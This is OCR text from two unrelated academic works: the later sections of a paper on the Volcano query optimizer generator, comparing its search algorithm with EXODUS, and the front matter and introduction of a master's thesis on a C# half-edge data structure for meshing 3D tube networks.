enforcers for required PhysProp order the set of moves by promise for the most promising moves if the move uses a transformation apply the transformation creating NewLogExpr call FindBestPlan (NewLogExpr, PhysProp, Limit) else if the move uses an algorithm TotalCost := cost of the algorithm for all inputs I while TotalCost < Limit determine required phys. prop. for I find cost by calling FindBestPlan add cost to TotalCost else /* move uses an enforcer */ TotalCost := cost of the enforcer modify PhysProp for enforced property call FindBestPlan for LogExpr w/ modified PhysProp /* maintain hash table of explored facts */ if LogExpr is not in hash table insert LogExpr into hash table insert PhysProp and best plan found into hash table Figure 4. Outline of the Search Algorithm. sorted on the join attribute. Third, an enforcer might be useful to permit additional algorithm choices, e.g., a sort operator to permit using hash join even if the final output is to be sorted. Both matching and duplicate detection can be time-consuming activities, although the experience with the EXODUS optimizer generator indicated that expression matching can be done very efficiently after compilation and resolution of operator names into integers. Nonetheless, since we want to be able to build complex optimizers with very large rule sets, we decided to use a hashing scheme (hashed on the top-most operator in an expression) for fast rule matching and duplicate detection. After generating all possible moves, the optimizer assesses their promise of leading to the optimal plan. Clearly, good estimations of a move’s promise are useful for finding the best plan fast. Considering that we are building an optimizer generator with as few assumptions as possible with respect to the logical and physical algebras, it is not possible to estimate a move’s promise without assistance by the optimizer implementor. Thus, the optimizer implementor can provide estimation functions which will have a significant impact on an optimizer’s performance. The most promising moves are then pursued. For exhaustive search, these will be all moves. Otherwise, a subset of the moves determined by another function provided by the optimizer implementor are selected. Pursuing all moves or only a selected few ones is the second major heuristic that is placed into the hands of the optimizer implementor. Using this control function, an optimizer implementor can choose to transform a logical expression without any algorithm selection and cost analysis, which covers the optimizations that in Starburst are separated into the QGM (Query Graph Model) level [13]. The difference between Starburst's two-level and Volcano's approach is that this separation is mandatory in Starburst while Volcano leaves it as a choice to be made by the optimizer implementor. The cost limit is used to improve the search algorithm using branch-and-bound pruning. Once a complete plan is known for a logical expression (the user query or some part of it) and a physical property vector, no other plan or partial plan with higher cost can be part of the optimal query evaluation plan. Therefore, it is important (for optimization speed, not for correctness) that a relatively good plan be found fast, even if the optimizer uses exhaustive search. Furthermore, cost limits are passed down in the optimization of subexpressions, and tight upper bounds also speeds their optimization. If a move to be pursued is a transformation, the new expression is formed and optimized using FindBestPlan. In order to detect the case that two (or more) rules are inverses of each other, the current expression and physical property vector is marked as "in progress." If a newly formed expression already exists in the hash table and is marked as "in progress," it is ignored because its optimal plan will be considered when it is finished. Sometimes a new equivalence class is created during a transformation. Consider the associativity rule in Figure 5. The expressions rooted at A and B are equivalent and therefore belong into the same class. However, expression C is not equivalent to any expression in the left expression and requires a new equivalence class. In this case, a new equivalence class is created and optimized as required for cost analysis and optimization of expression B. If a move to be pursued is a normal query processing algorithm such as merge join, its cost is calculated by a cost function provided by the optimizer implementor. The applicability function for the algorithm determines the physical property vectors for the algorithms inputs, and their costs are determined by invoking FindBestPlan for the inputs. Finally, all costs are added together using another optimizer implementor function. In this process, the Limit passed to FindBestPlan is the original Limit minus costs already computed. For example, if the total cost limit for a join expression is 10 cost units, the join algorithm takes 3 cost units and the left input takes 4 cost units, the limit for optimizing the right input is 3 cost units. For some binary operators, the actual physical properties of the inputs are not as important as the consistency of physical properties of all inputs. For example, for a sort-based implementation of intersection, i.e., an algorithm ![Diagram](attachment:image.png) Figure 5. Associativity Rule. very similar to merge join, any sort order of the two inputs will suffice as long as the two inputs are sorted in the same way. Similarly, for a parallel join, any partitioning of join inputs across multiple processing nodes is acceptable if both inputs are partitioned using compatible partitioning rules. For these cases, the search engine permits the optimizer implementor to specify a number of physical property vectors to be tried. For example, for the intersection of two relations R and S with attributes A, B, and C where R is sorted on (A,B,C) and S is sorted on (B,A,C), both these sort orders can be specified by the optimizer implementor and will be optimized by the generated optimizer, while other possible sort orders, e.g., (C,B,A), will be ignored. If the move to be pursued is an enforcer such as sort, its cost is estimated by a cost function provided by the optimizer implementor and the original logical expression with a suitably modified physical property vector is optimized using FindBestPlan. In many respects, enforcers are dealt with exactly like algorithms, which is not surprising considering that both are operators of the physical algebra. When optimizing the logical expression with the modified (i.e., relaxed) physical property vector, algorithms that already applied before relaxing the physical properties must not be explored again. For example, if a join result is required sorted on the join column, merge join (an algorithm) and sort (an enforcer) will apply. When optimizing the sort input, i.e., the join expression without sort condition, hash join should apply but merge join should not. To ensure this, FindBestPlan uses an additional parameter not shown in Figure 5 called the excluding physical property vector that is used only when inputs to enforcers are optimized. In the example, the excluding physical property vector would contain the sort condition, and since merge join is able to satisfy the excluding properties, it would not be considered a suitable algorithm for the sort input. At the end of (or actually already during) the optimization procedure FindBestPlan, newly derived interesting facts are captured in the hash table. "Interesting" is defined with respect to possible future use. This can include both plans optimal for given physical properties as well as failures that prevent future attempts to optimize a logical expression and physical properties again with the same or even lower cost limits. This description of the search algorithm used in Volcano does not cover all details for two reasons. First, further details would make the algorithm description even harder to follow, while the present level of detail presents the basic structure. Second, the algorithm implementation has only recently become operational, and we are still experimenting with it and tuning it to make more effective use of the hash table of explored expressions and optimized plans. 4.2. Current Work The current operational version of the Volcano optimizer generator uses exhaustive search, i.e., search restricted only by the rule set and the condition code. Note, however, that this already permits implementing the restrictions found in the Starburst join enumerator/optimizer, e.g., limiting the number of relations that may comprise a "composite inner" [21]. We are currently coding the mechanisms required to exploit promise in the search as described above. Using promise can limit the search effort in two ways. It prunes the search space indirectly and directly. First, it can be used to direct the search and to establish upper bounds quickly. Thus, it limits the search effort indirectly via branch-and-bound. Notice that all branch-and-bound pruning is safe, i.e., the pruned alternatives cannot be part of the optimal plan. Second, promise can also be used to avoid exploring alternatives which are unlikely to participate in the optimal plan. As the alternatives with highest promise were executed first, we explore alternatives with low promise last or not at all. We expect that such pruning can result in significant savings in optimization effort, but only so at the risk of missing an optimal plan. If promise is used for such direct pruning, the promise functions must be very carefully designed. Furthermore, the cutoff value for promise below which alternatives are pruned (ignored) without any exploration must be carefully tuned, probably differently for ad-hoc and repetitive queries. Another way to exploit knowledge of promise is to divide the query optimization effort into multiple phases. One algorithm based on left-deep vs. bushy trees was explored experimentally in [6]; another strategy called the "pilot pass approach" based on parameter relaxation was conceptually designed by Rosenthal et al. [23]. We plan on experimenting with both ideas. After a quick optimization of an entire query expression without established upper cost bound but with very tight pruning parameters and a limited rule set, another optimization step might explore the entire query again with more tolerant pruning parameters but a firm upper bound. In fact, it might be possible to save overall optimization effort by gradually relaxing pruning parameters but tightening upper bounds in multiple phases. Since query optimization can be a very time-consuming task, as shown many times for "simple" relational join optimization [19, 22], all means that can speed the process should be explored. Beyond traditional methods, we will explore storing logical expressions and their optimal plans for later reuse. While an optimal plan may not be optimal for an expression if the expression appears later in a different context (query), stored subplans hold promise for two reasons. First, they provide an upper bound; equivalent plans explored while optimizing the larger query can be safely abandoned if their cost surpasses that of the known plan. Second, since the optimizer is based on algebraic transformations, the stored optimal plan can be used as a basis from which to search for an optimal plan within the new context. Both reasons allow us to speculate that storing optimized plans may be a very useful concept, and we feel it can be explored most effectively in an extensible context such as the Volcano optimizer generator. While dynamic query evaluation plans, global query optimization, and storage and reuse of optimized subplans are interesting and challenging research topics in the context of relational systems, we plan on pursuing them within an extensible system. There are two reasons for our approach. First, an extensible query optimization environment modularizes the various components of query optimizers [5], e.g., selectivity estimation, cost calculation, query transformation, search heuristics, etc. This greatly facilitates change, modification, and experimentation, and may indeed be a requirement for successful pursuit of our research goals. Second, none of these research problems is restricted to the relational domain, and we hope that our results will benefit relational, extensible, and object-oriented systems alike. 5. Comparison with the EXODUS Optimizer Generator The search algorithm used in the Volcano optimizer generator differs significantly from the one in the EXODUS optimizer generator in a number of important aspects. We first summarize their differences in functionality and then present a preliminary performance comparison. 5.1. Functionality and Extensibility There are several important differences in the functionality and extensibility of the EXODUS and Volcano optimizer generators. First, Volcano makes a distinction between logical expressions and physical expressions. In EXODUS, only one type of node existed in the hash table called MESH, which contained both a logical operator like join and a physical algorithm like hash join. To retain equivalent plans using merge join and hash join, the logical expression (or at least one node) had to be kept twice, resulting in a large number of nodes in MESH. Second, the Volcano algorithm is driven top-down; subexpressions are optimized only if warranted. In the extreme case, it is possible to transform a logical expression without ever optimizing its subexpressions by selecting only one move, a transformation. In EXODUS, a transformation is always followed immediately by algorithm selection and cost analysis. Moreover, transformations were explored whether or not they were part of the currently most promising logical expression and physical plan for the overall query. Worst of all for optimizer performance, however, was the decision to perform transformations with the highest expected cost improvement first. Since the expected cost improvement was calculated as product of a factor associated with the transformation rule and the current cost before transformation, nodes at the top of the expression (with high total cost) were preferred over lower expressions. When the lower expression were finally transformed, all consumer nodes above (of which there were many at this time) had to be reanalyzed creating even more MESH nodes. Third, physical properties were handled rather haphazardly in EXODUS. If the algorithm with the lowest cost happened to deliver results with useful physical properties, this was recorded in MESH and used in subsequent optimization decisions. Otherwise, the cost of enforcers (to use a Volcano term) had to be included in the cost function of other algorithms such as merge join. In other words, the ability to specify required physical properties and let them, together with the logical expression, drive the optimization process as is done in Volcano was entirely absent in EXODUS. The concept of physical property is very powerful and extensible. The most obvious candidate for a physical property in database query processing is the sort order of intermediate results. Other properties can be defined by the optimizer implementor at will. Depending on the semantics of the data model, uniqueness might be a physical property; interestingly, this physical property would have two enforcers, sort- and hash-based. Location and partitioning in parallel and distributed systems can be enforced with a network and parallelism operator like Volcano's exchange operator [9, 10]. For query optimization in object-oriented system, we plan on defining "assembledness" of complex objects in memory as a physical property and using the assembly operator described in [16] as the enforcer for this property. Finally, considering the inherent error in selectivity estimation for complex queries [14], plan "robustness" might be a useful physical property that can be enforced by the choose-plan operator introduced in [8], which permits including several equivalent sub-plans in a single plan and delaying an optimization decision until query execution time. Fourth, cost is defined in much more general terms in Volcano than in the EXODUS optimizer generator. In Volcano, cost is an abstract data type for which all calculations and comparisons are performed by invoking functions provided by the optimizer implementor. It can be a simple number, e.g., estimated elapsed seconds, a structure, e.g., a record consisting of CPU time and I/O count similar to the cost model in System R [24], or even a function. A function offers entirely new possibilities for query optimization. For example, it can be a function of the size of the available memory, which allows optimizing queries and plans for any run-time situation with respect to memory contention. Other variables that might change between optimization and execution include the number of available processors and program variables still unbound at compilation and optimization time. Of course, functions are not totally ordered, and the cost comparison function provided by the optimizer implementor might not be able determine which of two functions is "less" than the other. In some situations, it will be possible, e.g., if one plan dominates another one independently of memory availability. If neither function consistently dominates the other, we propose using a choose-plan operator. Finally, we believe that the Volcano optimizer generator is more extensible than the EXODUS prototype, in particular with respect to the search strategy. The hash table that holds logical expressions and physical plans and operations on this hash table are quite general, and would support a variety of search strategies, not only the procedure outlined in Figure 5. We are still modifying (extending and refining) the search strategy, and plan on modifying it further in subsequent years and on using the Volcano optimizer generator for further research. 5.2. Search Efficiency and Effectiveness In this section, we experimentally compare the efficiency of the mechanisms built into the EXODUS and Volcano search engines. For the experiments, we specified the data model descriptions as similarly as possible. In particular, we specified the same operators (scan, select, join) and algorithms (file scan, filter for selections, sort, merge join, hybrid hash join), the same transformation and implementation rules, and the same property and cost functions. Sorting was modeled as an enforcer in Volcano while it was implicit in the cost function for merge join in EXODUS. The transformation rules permitted generating all plans including bushy ones (composite inner inputs). As a first comparison between the two search engines, we performed exhaustive optimizations of relational select-join queries. Figure 6 shows the average optimization effort and, to show the quality of the optimizer output, the estimated execution time of produced plans for queries with 1 to 7 binary joins, i.e., 2 to 8 input relations, and as many selections as input relations. Solid lines indicate optimization times on a Sun SparcStation-1 delivering about 12 MIPS and refer to the scale on the left. Dashed lines indicate estimated plan execution times and refer to the scales on the right. Measurements from the EXODUS optimizer generator are marked with □'s, Volcano measurements are marked with O' s. Note that both scales for the y-axis are logarithmic. ![Figure 6. Exhaustive Optimization Performance.](image-url) For each complexity level, we generated and optimized 50 queries. For some of the more complex queries, the EXODUS optimizer generator aborted due to lack of memory or was aborted because it ran much longer than the Volcano optimizer generator. Furthermore, we observed in repeated experiments that the EXODUS optimizer generator measurements were quite volatile. Similar problems were observed in EXODUS experiments reported in [4]. The measurements in Figure 6 represent only those queries for which the EXODUS optimizer generator completed the optimization. The Volcano optimizer generator performed exhaustive search for all queries without problem. For the queries represented in Figure 6, the plan quality as shown by the estimated execution cost is equal for moderately complex queries (up to 4 input relations). However, for more complex queries, it is significantly higher for EXODUS-optimized plans because the EXODUS-generated optimizer and its search engine ran out of memory (i.e., MESH had grown to 20 MB) and returned the best plan known at that time. The Volcano-generated optimizer used less than 1 MB for all queries. The search times reflect Volcano’s more efficient search strategy, visible in the large distance between the two solid lines. For the EXODUS-generated optimizer, the search effort increases dramatically from 3 to 4 input relations because at this point, reanalyzing becomes a substantial part of the query optimization effort in EXODUS. The increase of Volcano’s optimization costs is about exponential, shown in an almost straight line, which mirrors exactly the increase in the number of possible, equivalent logical algebra expressions [22]. For more complex queries, the EXODUS’ and Volcano’s optimization times differ by about an order of magnitude. 6. Summary and Conclusions Novel database applications demand not only high functionality but also high performance. To combine these two requirements, the Volcano project provides efficient, extensible tools for query and request processing in novel application domains, particularly in object-oriented and scientific database systems. We do not propose to reintroduce relational query processing into next-generation database systems; instead, we work on a new kind of query processing engine that is independent of any data model. The basic assumption is that high-level languages are and will continue to be based on sets, predicates, and operators. Therefore, the only assumption we make in our research is that operators consuming and producing sets or sequences of items are the fundamental building blocks of next-generation query and request processing systems. In other words, we assume that some algebra of sets is the basis of query processing, and our research tries to support any algebra of sets. Fortunately, algebras and algebraic equivalence rules are a very suitable basis for database query optimization. Moreover, sets (permitting definition and exploitation of subsets) and operators with data passed (or pipelined) between them are also the foundations for parallel algorithms for database query processing. One of the techniques used to achieve this goal is a new optimizer generator, designed and implemented to further explore extensibility, search, heuristics, and learning in rule-based query optimization, and for research into extensible query processing in the Volcano and REVELATION projects, scientific databases, and dynamic query evaluation plans. Its design goals include extensibility, effectiveness, and time and space efficiency in the search engine. Extensibility was achieved by generating optimizer source code from data model specifications and by encapsulating costs as well as logical and physical properties into abstract data types. From a preliminary performance comparison with the EXODUS optimizer generator, we concluded that optimizers built with the Volcano optimizer generator will be far more efficient than with the EXODUS prototype. We hope that the new Volcano optimizer generator will permit our own research group as well as others to develop more rapidly new database query optimizers for novel data models, query algebras, and database management systems. Acknowledgements Jim Martin has made many valuable contributions to this research, and he, Roger King, Rick Cole, and Richard Wolniewicz suggested improvements to earlier drafts of this paper. — This research has been partially supported by NSF with awards IRI-8805200, IRI-8912618, and IRI-9116547, DARPA with contract DAAB07-91-C-Q518, Texas Instruments, Intel Supercomputer Systems Division, Sequent Computer Systems, ADP, and the Oregon Advanced Computing Institute (OACIS). References 27. M. Stonebraker, "Introduction to the Special Issue on Database Prototype Systems", *IEEE Trans. on Knowledge and Data Eng.* 2, 1 (March 1990), 1.
{"Source-Url": "http://www.cs.colorado.edu/department/publications/reports/docs/CU-CS-563-91.pdf", "len_cl100k_base": 10920, "olmocr-version": "0.1.53", "pdf-total-pages": 21, "total-fallback-pages": 0, "total-input-tokens": 24003, "total-output-tokens": 13331, "length": "2e13", "weborganizer": {"__label__adult": 0.0003345012664794922, "__label__art_design": 0.0003445148468017578, "__label__crime_law": 0.0003736019134521485, "__label__education_jobs": 0.0015239715576171875, "__label__entertainment": 7.683038711547852e-05, "__label__fashion_beauty": 0.0001939535140991211, "__label__finance_business": 0.00040078163146972656, "__label__food_dining": 0.0003421306610107422, "__label__games": 0.0005216598510742188, "__label__hardware": 0.001110076904296875, "__label__health": 0.0006442070007324219, "__label__history": 0.0003616809844970703, "__label__home_hobbies": 0.00012755393981933594, "__label__industrial": 0.0005235671997070312, "__label__literature": 0.000335693359375, "__label__politics": 0.00023376941680908203, "__label__religion": 0.0004572868347167969, "__label__science_tech": 0.09832763671875, "__label__social_life": 0.00011479854583740234, "__label__software": 0.01617431640625, "__label__software_dev": 0.87646484375, "__label__sports_fitness": 0.0002465248107910156, "__label__transportation": 0.0005388259887695312, "__label__travel": 0.00021219253540039065}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 61286, 0.01904]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 61286, 0.42039]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 61286, 0.89838]], "google_gemma-3-12b-it_contains_pii": [[0, 157, false], [157, 346, null], [346, 346, null], [346, 4084, null], [4084, 8244, null], [8244, 12507, null], [12507, 15113, null], [15113, 18669, null], [18669, 22887, null], [22887, 26467, null], [26467, 28888, null], [28888, 31202, null], [31202, 33980, null], [33980, 37107, null], [37107, 41212, null], [41212, 44558, null], [44558, 48774, null], [48774, 51384, null], [51384, 55509, null], [55509, 59123, null], [59123, 61286, null]], "google_gemma-3-12b-it_is_public_document": [[0, 157, true], [157, 346, null], [346, 346, null], [346, 4084, null], [4084, 8244, null], [8244, 12507, null], [12507, 15113, null], [15113, 18669, null], [18669, 22887, null], [22887, 26467, null], [26467, 28888, null], [28888, 31202, null], [31202, 33980, null], [33980, 37107, null], [37107, 41212, null], [41212, 44558, null], [44558, 48774, null], [48774, 51384, null], [51384, 55509, null], [55509, 59123, null], [59123, 61286, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 61286, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 61286, null]], "pdf_page_numbers": [[0, 157, 1], [157, 346, 2], [346, 346, 3], [346, 4084, 4], [4084, 8244, 5], [8244, 12507, 6], [12507, 15113, 7], [15113, 18669, 8], [18669, 22887, 9], [22887, 26467, 10], [26467, 28888, 11], [28888, 31202, 12], [31202, 33980, 13], [33980, 37107, 14], [37107, 41212, 15], [41212, 44558, 16], [44558, 48774, 17], [48774, 51384, 18], [51384, 55509, 19], [55509, 59123, 20], [59123, 61286, 21]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 61286, 0.06364]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
c37bfd8e5314e396bcddecc4f0c36b347b6e9341
[REMOVED]
{"len_cl100k_base": 14881, "olmocr-version": "0.1.53", "pdf-total-pages": 30, "total-fallback-pages": 0, "total-input-tokens": 65592, "total-output-tokens": 19187, "length": "2e13", "weborganizer": {"__label__adult": 0.0004982948303222656, "__label__art_design": 0.0007452964782714844, "__label__crime_law": 0.00041604042053222656, "__label__education_jobs": 0.0008797645568847656, "__label__entertainment": 0.00014257431030273438, "__label__fashion_beauty": 0.00025534629821777344, "__label__finance_business": 0.0003590583801269531, "__label__food_dining": 0.0004274845123291016, "__label__games": 0.0011396408081054688, "__label__hardware": 0.01326751708984375, "__label__health": 0.0004987716674804688, "__label__history": 0.0005698204040527344, "__label__home_hobbies": 0.0001962184906005859, "__label__industrial": 0.0014200210571289062, "__label__literature": 0.0004024505615234375, "__label__politics": 0.0003936290740966797, "__label__religion": 0.000843048095703125, "__label__science_tech": 0.22705078125, "__label__social_life": 6.538629531860352e-05, "__label__software": 0.01001739501953125, "__label__software_dev": 0.73876953125, "__label__sports_fitness": 0.0003614425659179687, "__label__transportation": 0.0011587142944335938, "__label__travel": 0.0002366304397583008}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 79673, 0.0332]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 79673, 0.40998]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 79673, 0.90497]], "google_gemma-3-12b-it_contains_pii": [[0, 1909, false], [1909, 4863, null], [4863, 8132, null], [8132, 11637, null], [11637, 13522, null], [13522, 16493, null], [16493, 19832, null], [19832, 21483, null], [21483, 23931, null], [23931, 27255, null], [27255, 29331, null], [29331, 32377, null], [32377, 35286, null], [35286, 37366, null], [37366, 40130, null], [40130, 43582, null], [43582, 46696, null], [46696, 49802, null], [49802, 51930, null], [51930, 53528, null], [53528, 56112, null], [56112, 59239, null], [59239, 61102, null], [61102, 63345, null], [63345, 65258, null], [65258, 67885, null], [67885, 70860, null], [70860, 74665, null], [74665, 78007, null], [78007, 79673, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1909, true], [1909, 4863, null], [4863, 8132, null], [8132, 11637, null], [11637, 13522, null], [13522, 16493, null], [16493, 19832, null], [19832, 21483, null], [21483, 23931, null], [23931, 27255, null], [27255, 29331, null], [29331, 32377, null], [32377, 35286, null], [35286, 37366, null], [37366, 40130, null], [40130, 43582, null], [43582, 46696, null], [46696, 49802, null], [49802, 51930, null], [51930, 53528, null], [53528, 56112, null], [56112, 59239, null], [59239, 61102, null], [61102, 63345, null], [63345, 65258, null], [65258, 67885, null], [67885, 70860, null], [70860, 74665, null], [74665, 78007, null], [78007, 79673, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 79673, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 79673, null]], "pdf_page_numbers": [[0, 1909, 1], [1909, 4863, 2], [4863, 8132, 3], [8132, 11637, 4], [11637, 13522, 5], [13522, 16493, 6], [16493, 19832, 7], [19832, 21483, 8], [21483, 23931, 9], [23931, 27255, 10], [27255, 29331, 11], [29331, 32377, 12], [32377, 35286, 13], [35286, 37366, 14], [37366, 40130, 15], [40130, 43582, 16], [43582, 46696, 17], [46696, 49802, 18], [49802, 51930, 19], [51930, 53528, 20], [53528, 56112, 21], [56112, 59239, 22], [59239, 61102, 23], [61102, 63345, 24], [63345, 65258, 25], [65258, 67885, 26], [67885, 70860, 27], [70860, 74665, 28], [74665, 78007, 29], [78007, 79673, 30]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 79673, 0.17003]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
f36b345ed6848c69db37c95f73f2cd4679fd2ab7
Modified half-edge data structure and its applications to 3D mesh generation for complex tube networks. Richard Paris University of Louisville Follow this and additional works at: https://ir.library.louisville.edu/etd Recommended Citation https://doi.org/10.18297/etd/1094 This Master's Thesis is brought to you for free and open access by ThinkIR: The University of Louisville's Institutional Repository. It has been accepted for inclusion in Electronic Theses and Dissertations by an authorized administrator of ThinkIR: The University of Louisville's Institutional Repository. This title appears here courtesy of the author, who has retained all other copyrights. For more information, please contact thinkir@louisville.edu. Modified Half-Edge Data Structure and Its Applications to 3D Mesh Generation for Complex Tube Networks By Richard Paris B.S., University of Louisville, 2012 A Thesis Submitted to the Faculty of the University of Louisville J. B. Speed School of Engineering as Partial Fulfillment of the Requirements for the Professional Degree MASTER OF ENGINEERING Department of Computer Engineering May 2013 Modified Half-Edge Data Structure and Its Applications to 3D Mesh Generation for Complex Tube Networks Submitted by: Richard Paris A Thesis Approved On (Date) by the Following Reading and Examination Committee: Dr. Dar-jen Chang, Thesis Director Dr. Ming Ouyang Dr. John Pani I. ABSTRACT Modified Half-Edge Data Structure and Its Applications to 3D Mesh Generation for Complex Tube Networks Richard Paris May 2013 In computer graphics 3D mesh generation is an important topic, it is required for a vast number of applications. While there are currently solutions available for the generation of meshes, there is not one that suits our application well that is written in C#, for this reason a C# implementation of the half-edge data structure as well as a C# implementation of the mesh generation algorithms is needed. This document will discuss in detail the method by which the algorithms are implemented, the improvements that are made on the half-edge data structure, and the new features that have been added to the new application. Further this document will evaluate the performance improvement made by the improvements mentioned. II. TABLE OF CONTENTS ABSTRACT ........................................................................................................ IV TABLE OF CONTENTS .................................................................................. V LIST OF FIGURES ........................................................................................ VII LIST OF TABLES ........................................................................................ VIII LIST OF ALGORITHMS ............................................................................... IX I. INTRODUCTION ....................................................................................... 1 II. 3D MODELING APPLICATIONS AND REPRESENTATIONS ....................... 6 A. Medical Tube Structures ................................................................. 8 B. Procedurally Generated Levels .................................................... 9 C. Physics Simulations ........................................................................ 12 III. OVERVIEW OF TRIANGULAR MESHES ................................................. 15 A. Triangular Mesh Data Structures ................................................. 17 B. Half Edge Data Structure ............................................................ 20 C. Metrics of Half Edge Data Structure ........................................... 24 IV. HALF EDGE DATA STRUCTURE IMPROVEMENTS ................................ 28 A. Hash Table for Unlinked Half Edges ............................................ 28 1. Subdivision ............................................................................... 29 2. Mesh Conversion ................................................................. 32 3. Boundary Tracing ............................................................... 33 B. INCLUSION OF NON-ORIENTABLE SURFACES ........................................ 34 C. MESH MANIPULATION AND SIMPLIFICATION ...................................... 35 D. CIRCULATOR ........................................................... 37 V. 3D TUBE NETWORKS MESH GENERATION ........................................ 41 A. ALGORITHM ............................................................................. 41 1. Create Branch .............................................................. 44 2. Create Node .............................................................. 46 B. IMPLEMENTATION .............................................................. 46 1. Debugging ........................................................................ 47 C. REDUCTION OF TWISTING .................................................. 47 D. IMPROVED CREATION OF TWO-BRANCH PIPES .............................. 48 E. Convex Hull ........................................................................... 51 VI. RESULTS ................................................................................. 53 A. SUBDIVISION ................................................................. 54 B. Tube Creation ................................................................. 55 C. Non-Orientable Surfaces ..................................................... 56 D. Evaluation of proposed Data Structure ..................................... 59 VII. RECOMMENDATIONS ............................................................ 63 A. Convex Hull Creation .......................................................... 63 B. Texture Assignment .......................................................... 63 LIST OF REFERENCES ..................................................................... 64 CURRICULUM VITAE ................................................................. 65 III. LIST OF FIGURES Figure 1 Ear Clipping.................................................. 17 Figure 2 Winged-edge data structure............................. 19 Figure 3 Half-Edge data structure................................. 21 Figure 4 Triangular Orientation.................................... 22 Figure 5 Loop Subdivision........................................... 30 Figure 6 Non-orientable Triangular Orientation............... 35 Figure 7 Edge Collapse.............................................. 36 Figure 8 Sample Branch Structure................................. 44 Figure 9 Twisted Tube.............................................. 48 Figure 10 Modified Two-Branch Method 1......................... 49 Figure 11 Modified Two-Branch Method 2........................ 50 Figure 12 Adding additional points to the convex hull....... 51 Figure 13 Random Oriented Plane.................................. 57 Figure 14 Plane Culled CCW....................................... 57 Figure 15 Plane Subdivided........................................ 58 Figure 16 Plane Subdivided and Culled............................ 58 Figure 17 Mobius strip.............................................. 58 Figure 18 Subdivided Mobius strip................................ 58 Figure 19 Klein bottle............................................... 59 Figure 20 Subdivided Klein bottle................................. 59 IV. LIST OF TABLES Table 1 Post-Subdivision Half-Edge Links............................ 32 Table 2 Comparison of Mesh Creation Times......................... 54 Table 3 Comparison of Subdivision Times............................. 54 Table 4 Comparison of Subdivision Times............................. 55 Table 5 Comparison of Tube Creation Times.......................... 56 V. LIST OF ALGORITHMS Algorithm 1 Collision Detection............................... 11 Algorithm 2 Ear Clipping...................................... 17 Algorithm 3 Adjacent Face Circulator.......................... 23 Algorithm 4 Neighboring Vertex Circulator..................... 23 Algorithm 5 Improved Mesh Conversion.......................... 33 Algorithm 6 Improved Adjacent Face Circulator............... 39 Algorithm 7 Improved Neighboring Vertex Circulator............ 40 Algorithm 8 Tube Conversion................................... 42 Algorithm 9 Branch Conversion.................................. 45 I. INTRODUCTION Moore’s law states that computational power will move forward at an exponential rate, the problem is that currently it is moving at a linear rate; because of this limitation there is a need to implement efficient data structures in the effort of continuing the pace of moving computing ability forward at that exponential rate. One such area that continues to grow is 3D computer graphics, particularly the representation of 3D models in a virtual environment. Furthermore, the complexity of accurate 3D models results in a tremendous need of storage, some accurate models result in up to 1 billion polygons (Levoy, 2011). Currently the predominant data structure being used to represent these 3D models is the half-edge data structure. While there are others (such as the quad-edge and doubly linked face list data structures) (Kettner, 2012), many of the commercial and open source geometry libraries use the half-edge data structure as the primary method of storage and analysis (Leadwerks, 2006). The half-edge data structure is an “edge-centered” structure; it is primarily concerned with storing links between half-edges as the main method of traversing the mesh. Each half-edge must at least contain a pointer to its opposite half-edge as well as the next half-edge in the contained face. The major goal of this paper is to improve the current application, through various means, that is currently being used to visualize a 3D tube structure. Currently the main use of the application is that of medical splines created from medical imaging, but can be expanded to many fields such as game development, physics simulations of structures, etc. The application being replaced is developed using CGAL, a computational geometry library with a built in half-edge data structure, and open-inventor, a 3D graphics API for visualization. This paper will address three goals set forth for the modification of the half-edge data structure in general and the existing application that is in use today. First and foremost, the data structure being used is an implementation that was developed in C++. This implementation makes use of template classes as well as many other programming concepts that are not easily read and usable. Because of this there is a push to migrate the application to C#, which allows for a more fluid implementation. A C# implementation also allows for the use of free memory management, enumerators, and other techniques that will be discussed in chapter V. The second area of improvement that will be undertaken is to implement support for non-orientable surfaces; 